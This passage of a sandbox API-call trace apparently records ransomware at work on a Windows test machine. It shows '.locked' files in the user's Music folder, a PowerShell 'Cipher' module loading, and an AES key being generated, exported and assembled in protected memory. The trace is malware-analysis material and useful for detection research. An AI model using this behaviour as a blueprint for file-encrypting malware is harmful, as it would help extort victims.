"c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6983848 | out: lpFileInformation=0x6983848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13865e1b, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x13865e1b, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x13865e1b, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xc174)) returned 1 [0134.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0134.733] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked", lpFilePart=0x0) returned 0x39 [0134.733] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0134.733] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0134.733] CloseHandle (hObject=0x858) returned 1 [0134.737] GetConsoleOutputCP () returned 0x1b5 [0134.738] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.738] GetConsoleOutputCP () returned 0x1b5 [0134.738] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.738] GetConsoleOutputCP () returned 0x1b5 [0134.738] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.738] GetConsoleOutputCP () returned 0x1b5 [0134.738] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.739] GetConsoleOutputCP () returned 0x1b5 [0134.739] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.739] GetConsoleOutputCP () returned 0x1b5 [0134.739] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.739] GetConsoleOutputCP () returned 0x1b5 [0134.739] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.739] GetConsoleOutputCP () returned 0x1b5 [0134.740] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.740] GetConsoleOutputCP () returned 0x1b5 [0134.740] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.740] GetConsoleOutputCP () returned 0x1b5 [0134.741] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.741] GetConsoleOutputCP () returned 0x1b5 [0134.741] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.741] GetConsoleOutputCP () returned 0x1b5 [0134.741] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.741] GetConsoleOutputCP () returned 0x1b5 [0134.742] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.742] GetConsoleOutputCP () returned 0x1b5 [0134.742] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.742] GetConsoleOutputCP () returned 0x1b5 [0134.742] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.743] GetConsoleOutputCP () returned 0x1b5 [0134.743] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.743] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0134.743] GetConsoleOutputCP () returned 0x1b5 [0134.744] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0134.744] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.744] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69aad98*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x69aad98*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0134.744] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.745] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0134.750] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.750] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.750] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.750] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.750] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.750] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.750] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.751] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\xe7a8\x99a\x1d5f\x73b9\x8a60\x7411") returned 0x0 [0134.751] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.751] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.751] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.751] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.752] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e02828) returned 1 [0134.752] CryptGenKey (in: hProv=0x8e02828, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84a78) returned 1 [0134.752] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.752] CryptExportKey (in: hKey=0x8e84a78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.752] CryptExportKey (in: hKey=0x8e84a78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69b4628, pdwDataLen=0x99ae894 | out: pbData=0x69b4628*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.752] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x45b8\x69b\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667") returned 0x0 [0134.753] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.753] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.753] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.753] SysStringLen (param_1="") returned 0x8 [0134.753] SysStringLen (param_1="5") returned 0x8 [0134.753] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.753] SysStringLen (param_1="\x61a3\xd13b\x2dd1\x2bd3\x1a5e\xfbf1\x8ddd\x2e11") returned 0x8 [0134.753] SysStringLen (param_1="\x61a3\xd13b\x2dd1\x2bd3\x1a5e\xfbf1\x8ddd\x2e11") returned 0x8 [0134.753] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.753] SysStringLen (param_1="5Q") returned 0x8 [0134.753] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.753] SysStringLen (param_1="뻂怨靏⟠鰵ꖌ顙彷") returned 0x8 [0134.753] SysStringLen (param_1="뻂怨靏⟠鰵ꖌ顙彷") returned 0x8 [0134.753] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.753] SysStringLen (param_1="5Q7") returned 0x8 [0134.753] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.754] SysStringLen (param_1="\x47b4\xa7b2\xd484\x5877\x80b4\xc7d1\x88d8\xeeb") returned 0x8 [0134.754] SysStringLen (param_1="\x47b4\xa7b2\xd484\x5877\x80b4\xc7d1\x88d8\xeeb") returned 0x8 [0134.754] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.754] SysStringLen (param_1="5Q7F") returned 0x8 [0134.754] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.754] SysStringLen (param_1="\x9d8b\xc87d\x78b0\x9251\x77a3\x3779\x115a\xf270") returned 0x8 [0134.754] SysStringLen (param_1="\x9d8b\xc87d\x78b0\x9251\x77a3\x3779\x115a\xf270") returned 0x8 [0134.754] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.754] SysStringLen (param_1="5Q7FX") returned 0x8 [0134.754] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.754] SysStringLen (param_1="\x6ab5\xa696\x8c1c\x13ed\xd3c1\x96c4\x3d20\x3ddf") returned 0x8 [0134.754] SysStringLen (param_1="\x6ab5\xa696\x8c1c\x13ed\xd3c1\x96c4\x3d20\x3ddf") returned 0x8 [0134.754] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.754] SysStringLen (param_1="5Q7FXm") returned 0x8 [0134.754] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.754] SysStringLen (param_1="\x1c88\x80f6\xf334\xfc46\xb13b\x7ae7\xbe1b\x4d99") returned 0x8 [0134.754] SysStringLen (param_1="\x1c88\x80f6\xf334\xfc46\xb13b\x7ae7\xbe1b\x4d99") returned 0x8 [0134.754] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.754] SysStringLen (param_1="5Q7FXms") returned 0x8 [0134.754] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.754] SysStringLen (param_1="\xcf30\x6059\xb631\x6510\x57ef\x141a\x2c1c\xfa3b") returned 0x8 [0134.754] SysStringLen (param_1="\xcf30\x6059\xb631\x6510\x57ef\x141a\x2c1c\xfa3b") returned 0x8 [0134.754] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.755] SysStringLen (param_1="5Q7FXmsH") returned 0x8 [0134.755] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.755] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467") returned 0x8 [0134.755] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467") returned 0x8 [0134.755] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467") returned 0x8 [0134.755] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467") returned 0x10 [0134.755] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.755] SysStringLen (param_1="5Q7FXmsHr㞃띓彑穵ꋶ䦰璴") returned 0x10 [0134.755] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.755] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\x6ae9\x49f6\xd8a7\x9b95\x8c7f\xef7e\x6226\x4622") returned 0x10 [0134.755] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\x6ae9\x49f6\xd8a7\x9b95\x8c7f\xef7e\x6226\x4622") returned 0x10 [0134.755] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.755] SysStringLen (param_1="5Q7FXmsHrH띓彑穵ꋶ䦰璴") returned 0x10 [0134.756] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.756] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xcd3\xebf0\x8945\xaab5\x6b8b\xe286\x2b88\xa35b") returned 0x10 [0134.756] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xcd3\xebf0\x8945\xaab5\x6b8b\xe286\x2b88\xa35b") returned 0x10 [0134.756] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.756] SysStringLen (param_1="5Q7FXmsHrHS彑穵ꋶ䦰璴") returned 0x10 [0134.756] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.756] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\x8da0\x7c24\x570e\xa7a0\x4cb5\x484c\xffba\x51d2") returned 0x10 [0134.756] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\x8da0\x7c24\x570e\xa7a0\x4cb5\x484c\xffba\x51d2") returned 0x10 [0134.756] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.756] SysStringLen (param_1="5Q7FXmsHrHSw穵ꋶ䦰璴") returned 0x10 [0134.756] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.756] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf4fa\xfa9b\x6497\x5517\x8a03\x7932\x3e9f\x1bbe") returned 0x10 [0134.756] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf4fa\xfa9b\x6497\x5517\x8a03\x7932\x3e9f\x1bbe") returned 0x10 [0134.756] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.757] SysStringLen (param_1="5Q7FXmsHrHSwNꋶ䦰璴") returned 0x10 [0134.757] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.757] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\x6319\xaf9a\xe1c3\xf287\x64fb\xe1ee\x57f7\x2bf7") returned 0x10 [0134.757] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\x6319\xaf9a\xe1c3\xf287\x64fb\xe1ee\x57f7\x2bf7") returned 0x10 [0134.757] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.757] SysStringLen (param_1="5Q7FXmsHrHSwNn䦰璴") returned 0x10 [0134.757] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.757] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\x4fc8\xc930\x8748\xaa34\x7b22\xee99\x3a4d\x8b56") returned 0x10 [0134.757] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\x4fc8\xc930\x8748\xaa34\x7b22\xee99\x3a4d\x8b56") returned 0x10 [0134.757] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.757] SysStringLen (param_1="5Q7FXmsHrHSwNnY璴") returned 0x10 [0134.757] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.757] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\x8208\xbcc1\x2493\x1783\xdddb\xb1b8\x24b4\x6bae") returned 0x10 [0134.757] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\x8208\xbcc1\x2493\x1783\xdddb\xb1b8\x24b4\x6bae") returned 0x10 [0134.757] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.757] SysStringLen (param_1="5Q7FXmsHrHSwNnYl") returned 0x10 [0134.757] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.758] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77") returned 0x10 [0134.758] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77") returned 0x10 [0134.758] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77") returned 0x10 [0134.758] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77") returned 0x18 [0134.758] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.758] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRꡯ㺊㧙퍟☐檤") returned 0x18 [0134.758] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.758] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\xb746\xec8a\xb671\x8818\x7f04\x4b8a\x6973\x10ea") returned 0x18 [0134.758] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\xb746\xec8a\xb671\x8818\x7f04\x4b8a\x6973\x10ea") returned 0x18 [0134.758] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.758] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRi㺊㧙퍟☐檤") returned 0x18 [0134.758] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.758] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x6a5d\x10be\x9965\xbb56\x1e0\xb2ce\x32b0\xc095") returned 0x18 [0134.758] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x6a5d\x10be\x9965\xbb56\x1e0\xb2ce\x32b0\xc095") returned 0x18 [0134.758] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.758] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRic㧙퍟☐檤") returned 0x18 [0134.758] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.758] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\xd404\xfdd3\xb62d\x4671\x1e0\x2096\xdbfc\xa9f6") returned 0x18 [0134.758] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\xd404\xfdd3\xb62d\x4671\x1e0\x2096\xdbfc\xa9f6") returned 0x18 [0134.758] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.758] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicu퍟☐檤") returned 0x18 [0134.758] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.759] SysStringLen 